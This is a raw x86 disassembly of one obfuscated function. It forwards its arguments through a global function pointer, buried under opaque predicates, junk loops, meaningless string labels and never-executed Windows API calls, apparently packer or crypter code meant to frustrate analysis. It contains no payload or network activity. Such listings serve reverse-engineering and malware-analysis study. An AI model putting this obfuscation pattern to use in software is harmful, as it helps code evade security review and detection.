mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xc8]
jge 0x1002b671
mov dword [ebp - 0x8e8], 1
jmp 0x1002b678
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xb30], eax
push 0
lea ecx, [ebp - 0x9c0]
call fcn.10004f01
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xc8]
jl 0x1002b6ab
mov dword [ebp - 0x584], 1
jmp 0x1002b6b2
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 1
jb 0x1002b6d3
mov dword [ebp - 0x594], 1
jmp 0x1002b6da
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x594], eax
jge 0x1002b6f4
mov dword [ebp - 0x59c], 1
jmp 0x1002b6fb
and dword [ebp - 0x59c], 0
mov esi, 0x241a59c3
sub esi, dword [ebp - 0x59c]
push 0
lea ecx, [ebp - 0x784]
call fcn.10004f01
cmp esi, dword [eax]
jge 0x1002b723
mov dword [ebp - 0x5a4], 1
jmp 0x1002b72a
and dword [ebp - 0x5a4], 0
cmp dword [ebp - 0x5a4], 0x72625aa9
jge 0x1002b742
mov dword [ebp - 0x5ac], 1
jmp 0x1002b749
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x5ac]
cmp eax, 0xfd5d
jl 0x1002b769
mov dword [ebp - 0x5b4], 1
jmp 0x1002b770
and dword [ebp - 0x5b4], 0
push 0
lea ecx, [ebp - 0x784]
call fcn.10004f01
mov ecx, dword [ebp - 0x5b4]
mov dword [eax], ecx
jmp 0x1002ba2c
mov dword [ebp - 0x104], 0xffffffff
mov dword [ebp - 0x9d4], 0x3ae864ea
mov dword [ebp - 0x5d4], 0
mov dword [ebp - 0x5dc], 1
mov dword [ebp - 0x6c], 0
jmp 0x1002b7c2
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x1002b7d8
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xc90], 0xfffffffc
jmp 0x1002b7bb
mov dword [ebp - 0x6c], 0
jmp 0x1002b7e8
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x1002b7fe
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xc3c], 8
jmp 0x1002b7e1
mov eax, 0x6135443c
test eax, eax
je 0x1002b986
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xb38], eax
push 0
lea ecx, [ebp - 0x784]
call fcn.10004f01
mov eax, dword [eax]
mov dword [ebp - 0x5bc], eax
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x5bc]
jl 0x1002b846
mov dword [ebp - 0x5c4], 1
jmp 0x1002b84d
and dword [ebp - 0x5c4], 0
push 0
lea ecx, [ebp - 0xa68]
call fcn.10004f01
mov ecx, dword [ebp - 0x5c4]
cmp ecx, dword [eax]
jl 0x1002b879
mov eax, 0x56716659
test eax, eax
je 0x1002b879
mov dword [ebp - 0x5cc], 1
jmp 0x1002b880
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x9d4], eax
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0x5d4], eax
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0
jle 0x1002b8b9
mov dword [ebp - 0x5e4], 1
jmp 0x1002b8c0
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x38976cc2
jle 0x1002b8e4
mov dword [ebp - 0x5ec], 1
jmp 0x1002b8eb
and dword [ebp - 0x5ec], 0
cmp dword [ebp - 0x5ec], 0
je 0x1002b900
mov dword [ebp - 0x5f4], 1
jmp 0x1002b907
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x200]
imul eax, dword [ebp - 0x5f4]
cmp dword [ebp - 0x104], eax
jl 0x1002b928
mov dword [ebp - 0x5fc], 1
jmp 0x1002b92f
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x5fc], eax
jge 0x1002b949
mov dword [ebp - 0x328], 1
jmp 0x1002b950
and dword [ebp - 0x328], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x328]
mov dword [ebp + eax - 0xc90], ecx
push 0
lea ecx, [ebp - 0x9c0]
call fcn.10004f01
mov ecx, dword [ebp - 0x328]
cmp ecx, dword [eax]
jg 0x1002b986
mov dword [ebp - 0x604], 1
jmp 0x1002b98d
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x604], eax
jge 0x1002b9a7
mov dword [ebp - 0x60c], 1
jmp 0x1002b9ae
and dword [ebp - 0x60c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x104]
add ecx, dword [ebp - 0x60c]
cmp ecx, dword [ebp + eax - 0xca8]
jle 0x1002b9d5
mov dword [ebp - 0x330], 1
jmp 0x1002b9dc
and dword [ebp - 0x330], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x330]
mov dword [ebp + eax - 0xc3c], ecx
mov eax, dword [ebp - 0xa0c]
cmp dword [ebp - 0x330], eax
jne 0x1002ba09
mov dword [ebp - 0x614], 1
jmp 0x1002ba10
and dword [ebp - 0x614], 0
mov esi, dword [ebp - 0x104]
imul esi, dword [ebp - 0x614]
push 0
lea ecx, [ebp - 0x784]
call fcn.10004f01
mov dword [eax], esi
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0xa68]
call fcn.10004ee5
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x784]
call fcn.10004ee5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9c0]
call fcn.10004ee5
cmp dword [0x1017bf14], 0
je 0x1002c988
mov dword [ebp - 0xd0], 4
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x64c], 0x20859495
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x900], eax
mov eax, 0x51c76d7b
sub eax, dword [ebp - 0x78]
mov dword [ebp - 0xa14], eax
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x900]
cmp eax, dword [ebp - 0xa14]
jne 0x1002bac6
mov dword [ebp - 0x634], 1
jmp 0x1002bacd
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xb40], eax
cmp dword [ebp - 0xd0], 0
jl 0x1002baee
mov dword [ebp - 0x61c], 1
jmp 0x1002baf5
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x1002bb11
cmp dword [ebp - 0xd0], 0
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xb48], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xb50], eax
cmp dword [ebp - 0x10c], 0x4cbed562
jg 0x1002bb41
mov dword [ebp - 0x624], 1
jmp 0x1002bb48
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0xd0]
cmp eax, dword [ebp - 0x624]
jne 0x1002bb62
mov dword [ebp - 0x62c], 1
jmp 0x1002bb69
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x62c]
add eax, 0x748abb75
cmp dword [ebp - 0x634], eax
jle 0x1002bb88
mov dword [ebp - 0x63c], 1
jmp 0x1002bb8f
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x63c], eax
jne 0x1002bba9
mov dword [ebp - 0x644], 1
jmp 0x1002bbb0
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x644]
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 0
je 0x1002bd27
mov byte [ebp - 0xb3], 0
movzx eax, byte [ebp - 0xb3]
test eax, eax
je 0x1002bd25
mov dword [ebp - 0x654], 0x73d6
mov dword [ebp - 0x90c], str.rtsw_nytnfy_fuxutzb_nlufjnm_hvhqelxl_sotdbahh_fpyqmnwk_aqs
cmp dword [ebp - 0x654], 0x7755
jle 0x1002bccb
and dword [ebp - 0x218], 0
jmp 0x1002bc19
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x4e4a
jge 0x1002bcab
and dword [ebp - 0x208], 0
jmp 0x1002bc3f
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x6c06
jge 0x1002bca6
and dword [ebp - 0x210], 0
jmp 0x1002bc61
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x7fbc
jge 0x1002bca4
mov eax, dword [ebp - 0x208]
sub eax, dword [ebp - 0x210]
or eax, dword [ebp - 0x218]
cdq
mov dword [ebp - 0x92c], eax
mov dword [ebp - 0x928], edx
push dword [ebp - 0x928]
push dword [ebp - 0x92c]
mov ecx, 0x1007d9f8
call fcn.10004c38
jmp 0x1002bc54
jmp 0x1002bc32
jmp 0x1002bc0c
push 0
push 0x324
push 0x1b70
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
push 0
push 0x118d
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x654], 0x714f
jge 0x1002bcff
mov edx, dword [ebp - 0x90c]
mov ecx, 0x1007d9f8
call fcn.100070aa
jmp 0x1002bd1b
or dword [ebp - 4], 0xffffffff
jmp 0x1002bd25
jmp 0x1002bd83
mov dword [ebp - 0x220], 0
jmp 0x1002bd40
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 3
jge 0x1002bd5c
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0xcb4], 0x582ba8d7
jmp 0x1002bd33
mov dword [ebp - 0x78], 0
jmp 0x1002bd6c
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jg 0x1002bd83
mov eax, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0xcb4], 0
je 0x1002bd81
jmp 0x1002bd83
jmp 0x1002bd65
mov eax, dword [ebp + 8]
mov dword [ebp - 0x7e4], eax
mov dword [ebp - 0x65c], 0x67d5
mov dword [ebp - 0x9e0], str.vhuwppz_aywaekze_jtnyrdvvs_tlh_kpc_ngutjgi_oay
cmp dword [ebp - 0x65c], 0x6958
jle 0x1002be58
and dword [ebp - 0x228], 0
jmp 0x1002bdc6
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x719e
jge 0x1002be58
and dword [ebp - 0x230], 0
jmp 0x1002bdec
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x62f2
jge 0x1002be53
and dword [ebp - 0x238], 0
jmp 0x1002be0e
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x5f0
jge 0x1002be51
mov eax, dword [ebp - 0x228]
and eax, dword [ebp - 0x230]
or eax, dword [ebp - 0x238]
cdq
mov dword [ebp - 0x938], eax
mov dword [ebp - 0x934], edx
push dword [ebp - 0x934]
push dword [ebp - 0x938]
mov ecx, 0x1007d9f8
call fcn.10004c38
jmp 0x1002be01
jmp 0x1002bddf
jmp 0x1002bdb9
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0x65c], 0x6528
jge 0x1002be7b
mov edx, dword [ebp - 0x9e0]
mov ecx, 0x1007d9f8
call fcn.100070aa
jmp 0x1002be97
or dword [ebp - 4], 0xffffffff
jmp 0x1002bea1
mov dword [ebp - 0xd8], 0xc03342eb
mov dword [ebp - 0x7d4], 0x9a01c77d
mov dword [ebp - 0xd8], 0xffffffe6
jmp 0x1002bece
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 7
jne 0x1002c283
mov dword [ebp - 0xe0], 0xfffffffc
mov dword [ebp - 0x240], 0
jmp 0x1002befe
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 4
jge 0x1002bf1a
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0x79c], 6
jmp 0x1002bef1
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x79c], 4
jmp 0x1002bf48
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x79c]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x79c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x79c], 0xffffffeb
jne 0x1002c172
mov dword [ebp - 0x248], 0x72226312
mov dword [ebp - 0x664], 0
mov dword [ebp - 0x248], 0x19
jmp 0x1002bf89
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0xd
jne 0x1002c16d
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x250], 0
jmp 0x1002bfb9
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0xf
jg 0x1002c168
mov dword [ebp - 0x258], 0
jmp 0x1002bfdf
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
jge 0x1002bffb
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0xc24], 0x84bc9c3
jmp 0x1002bfd2
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
mov dword [ebp - 0xe0], 0
jmp 0x1002c021
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jg 0x1002c163
mov byte [ebp - 0xa9], 0
mov dword [ebp - 0x66c], 0xf9e
mov dword [ebp - 0x7cc], str.zfixf_yvqjk_uwrbknx_ofpg_wxd_qwpkbwb
cmp dword [ebp - 0x66c], 0x10fc
jle 0x1002c101
and dword [ebp - 0x260], 0
jmp 0x1002c06f
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x7f67
jge 0x1002c0f9
and dword [ebp - 0x268], 0
jmp 0x1002c091
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x3ad
jge 0x1002c0f4
mov eax, dword [ebp - 0x260]
xor eax, dword [ebp - 0x268]
cdq
mov dword [ebp - 0x944], eax
mov dword [ebp - 0x940], edx
push dword [ebp - 0x940]
push dword [ebp - 0x944]
lea ecx, [ebp - 0xdf8]
call fcn.10001a95
pop ecx
pop ecx
mov dword [ebp - 0x7c8], eax
mov ecx, dword [ebp - 0x7c8]
call fcn.10004c18
push eax
call fcn.1004af7c
pop ecx
lea ecx, [ebp - 0xdf8]
call fcn.10004c0e
jmp 0x1002c084
jmp 0x1002c062
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x1002c119
push 0
push 0x88d
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x66c], 0xda5
jge 0x1002c138
push dword [ebp - 0x7cc]
call fcn.1004af7c
pop ecx
jmp 0x1002c154
or dword [ebp - 4], 0xffffffff
jmp 0x1002c15e
jmp 0x1002c014
jmp 0x1002bfac
jmp 0x1002bf7c
jmp 0x1002bf2d
cmp dword [ebp - 0xd8], 0
je 0x1002c19f
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x79c], 0
je 0x1002c19f
cmp dword [ebp - 0xd8], 0
je 0x1002c19f
mov dword [ebp - 0x68c], 1
jmp 0x1002c1a6
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0xc2c], eax
cmp dword [ebp - 0xe0], 0
jne 0x1002c1d4
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x79c], 0
jne 0x1002c1d4
and dword [ebp - 0x674], 0
jmp 0x1002c1de
mov dword [ebp - 0x674], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x79c]
cmp dword [ebp - 0x674], eax
jg 0x1002c1fe
mov dword [ebp - 0x67c], 1
jmp 0x1002c205
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 0
jae 0x1002c21a
mov dword [ebp - 0x7dc], 1
jmp 0x1002c221
and dword [ebp - 0x7dc], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x79c], 8
je 0x1002c23d
mov dword [ebp - 0x684], 1
jmp 0x1002c244
and dword [ebp - 0x684], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x79c]
cmp eax, dword [ebp - 0x684]
jne 0x1002c265
mov dword [ebp - 0x694], 1
jmp 0x1002c26c
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x68c]
sub eax, dword [ebp - 0x694]
mov dword [ebp - 0xe0], eax
jmp 0x1002bec1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x814], eax
mov eax, dword [ebp - 0x7ec]
mov dword [ebp - 0x80c], eax
mov dword [ebp - 0x288], 0xfffffff6
mov dword [ebp - 0x6ec], 0xda4d073f
mov dword [ebp - 0x280], 0xffffffff
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x804], 1
mov dword [ebp - 0x338], 0x244
mov dword [ebp - 0x270], 0
jmp 0x1002c2f9
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 3
jge 0x1002c315
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0xba0], 0x4d035725
jmp 0x1002c2ec
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x7f4], eax
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x7f4], 0
jne 0x1002c343
mov dword [ebp - 0x6cc], 1
jmp 0x1002c34a
and dword [ebp - 0x6cc], 0
cmp dword [ebp - 0x280], 0
je 0x1002c3cf
cmp dword [ebp - 0x278], 0
jne 0x1002c36c
push 4
pop eax
test eax, eax
jne 0x1002c36c
and dword [ebp - 0x69c], 0
jmp 0x1002c376
mov dword [ebp - 0x69c], 1
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0x69c], eax
jne 0x1002c390
mov dword [ebp - 0x6a4], 1
jmp 0x1002c397
and dword [ebp - 0x6a4], 0
cmp dword [ebp - 0x6a4], 0x6e8
jg 0x1002c3af
mov dword [ebp - 0x6ac], 1
jmp 0x1002c3b6
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x6ac]
add eax, 0xffff
je 0x1002c3cf
mov dword [ebp - 0x6b4], 1
jmp 0x1002c3d6
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x288]
cmp dword [ebp - 0x6b4], eax
je 0x1002c3f9
cmp dword [ebp - 0x278], 0
je 0x1002c3f9
mov dword [ebp - 0x6bc], 1
jmp 0x1002c400
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x6bc]
sub eax, 0x13bcf59f
cmp eax, 0xa6c8
je 0x1002c41e
mov dword [ebp - 0x6c4], 1
jmp 0x1002c425
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x288]
cmp dword [ebp - 0x6c4], eax
jne 0x1002c43f
mov dword [ebp - 0x7fc], 1
jmp 0x1002c446
and dword [ebp - 0x7fc], 0
cmp dword [ebp - 0x6cc], 0x8670
jle 0x1002c45e
mov dword [ebp - 0x6d4], 1
jmp 0x1002c465
and dword [ebp - 0x6d4], 0
cmp dword [ebp - 0x6d4], 0xe67e
jle 0x1002c486
cmp dword [ebp - 0x804], 0
je 0x1002c486
mov dword [ebp - 0x6dc], 1
jmp 0x1002c48d
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0
je 0x1002c4d2
mov eax, 0xe70d28e4
test eax, eax
je 0x1002c4d2
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xba0], 0
je 0x1002c4d2
mov dword [ebp - 0x6e4], 1
jmp 0x1002c4d9
and dword [ebp - 0x6e4], 0
cmp dword [ebp - 0x6e4], 1
jb 0x1002c4ee
mov dword [ebp - 0x6f4], 1
jmp 0x1002c4f5
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x6ec], eax
mov eax, dword [ebp - 0x6ec]
cmp eax, dword [ebp - 0x6f4]
jle 0x1002c51b
mov dword [ebp - 0x6fc], 1
jmp 0x1002c522
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x288]
add eax, dword [ebp - 0x6fc]
jns 0x1002c53c
mov dword [ebp - 0x704], 1
jmp 0x1002c543
and dword [ebp - 0x704], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x704]
mov dword [ebp + eax - 0xba0], ecx
push dword [ebp - 0x80c]
push dword [ebp - 0x814]
call dword [0x1017bf14]
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x290], 0x20624039
mov dword [ebp - 0x290], 0xfffffffc
jmp 0x1002c590
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0xfffffff2
jge 0x1002c980
mov dword [ebp - 0x2a0], 0xc0f8067e
mov dword [ebp - 0xc34], 1
mov dword [ebp - 0xc40], 0xde9ab5c2
mov dword [ebp - 0x298], 0
jmp 0x1002c5d4
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 2
jge 0x1002c5f0
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0xcd8], 0xff55e00f
jmp 0x1002c5c7
mov dword [ebp - 0x2a0], 0
jmp 0x1002c609
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 1
jg 0x1002c97b
mov dword [ebp - 0x2a8], 0x79c4185a
mov dword [ebp - 0xc5c], 0xd0176df7
mov dword [ebp - 0xc64], 0xd0f065f4
mov dword [ebp - 0x2a8], 1
jmp 0x1002c64d
mov eax, dword [ebp - 0x2a8]
dec eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0
jl 0x1002c955
push 2
lea ecx, [ebp - 0x9d0]
call fcn.10004e62
mov dword [ebp - 4], 0x40
mov dword [ebp - 0xc6c], 0x643b8a27
push 4
lea ecx, [ebp - 0xbb0]
call fcn.10004e62
mov byte [ebp - 4], 0x41
mov dword [ebp - 0x70c], 0x59f5
mov dword [ebp - 0x81c], str.wtylvh_bfgnviaya_deeosaj_cmoxf_tre_jmnbfo_fuiioz_flkchaxul_lhcouh_lxiosp_tcfu_trghfgxul
cmp dword [ebp - 0x70c], 0x5bef
jle 0x1002c722
and dword [ebp - 0x2b0], 0
jmp 0x1002c6bf
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x4c82
jge 0x1002c722
and dword [ebp - 0x2b8], 0
jmp 0x1002c6e1
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x126f
jge 0x1002c720
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2b8]
shl eax, cl
cdq
mov dword [ebp - 0x950], eax
mov dword [ebp - 0x94c], edx
push dword [ebp - 0x94c]
push dword [ebp - 0x950]
mov ecx, 0x1007d9f8
call fcn.10004c38
jmp 0x1002c6d4
jmp 0x1002c6b2
mov byte [ebp - 4], 0x42
cmp dword [ebp - 0x70c], 0x596e
jge 0x1002c742
mov edx, dword [ebp - 0x81c]
mov ecx, 0x1007d9f8
call fcn.100070aa
jmp 0x1002c75e
mov dword [ebp - 4], 0x41
jmp 0x1002c76e
mov dword [ebp - 0x68], 0
jmp 0x1002c77e
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1002c79a
push dword [ebp - 0x68]
lea ecx, [ebp - 0x9d0]
call fcn.10004f01
mov dword [eax], 1
jmp 0x1002c777
mov dword [ebp - 0x68], 0
jmp 0x1002c7aa
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x1002c7c6
push dword [ebp - 0x68]
lea ecx, [ebp - 0xbb0]
call fcn.10004f01
mov dword [eax], 0x6a0b5978
jmp 0x1002c7a3
push 0
lea ecx, [ebp - 0x9d0]
call fcn.10004f01
mov dword [eax], 1
jmp 0x1002c7ff
push 0
lea ecx, [ebp - 0x9d0]
call fcn.10004f01
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x370]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x370]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x9d0]
call fcn.10004f01
cmp dword [eax], 0
jl 0x1002c913
mov dword [ebp - 0xbbc], 0xb9193c1d
mov dword [ebp - 0xc30], 0x667f5aee
mov dword [ebp - 0xb1c], 0x4151c8b9
mov dword [ebp - 0x374], 0xffffffff
mov dword [ebp - 0x2c0], 0
jmp 0x1002c856
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 3
jge 0x1002c872
mov eax, dword [ebp - 0x2c0]
mov dword [ebp + eax*4 - 0xa5c], 0xfffffff7
jmp 0x1002c849
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa5c], 0
jmp 0x1002c8a0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa5c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa5c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa5c], 1
jg 0x1002c90e
mov dword [ebp - 0x2c8], 0xd2f38d9
mov dword [ebp - 0xc08], 0xdffbe584
mov dword [ebp - 0xb24], 4
mov dword [ebp - 0xc58], 0xfffffff6
mov dword [ebp - 0x2c8], 1
jmp 0x1002c8f1
mov eax, dword [ebp - 0x2c8]
dec eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0
jl 0x1002c909
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
jmp 0x1002c8e4
jmp 0x1002c885
jmp 0x1002c7db
mov byte [ebp - 0xb7], 0
movzx eax, byte [ebp - 0xb7]
test eax, eax
je 0x1002c932
push 0
push 0x10bc
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0xbb0]
call fcn.10004ee5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9d0]
call fcn.10004ee5
jmp 0x1002c640
mov byte [ebp - 0xab], 0
movzx eax, byte [ebp - 0xab]
test eax, eax
je 0x1002c976
push 0
push 0
push 0xee6
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
jmp 0x1002c5fc
jmp 0x1002c583
mov eax, dword [ebp - 0x824]
jmp 0x1002c98a
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret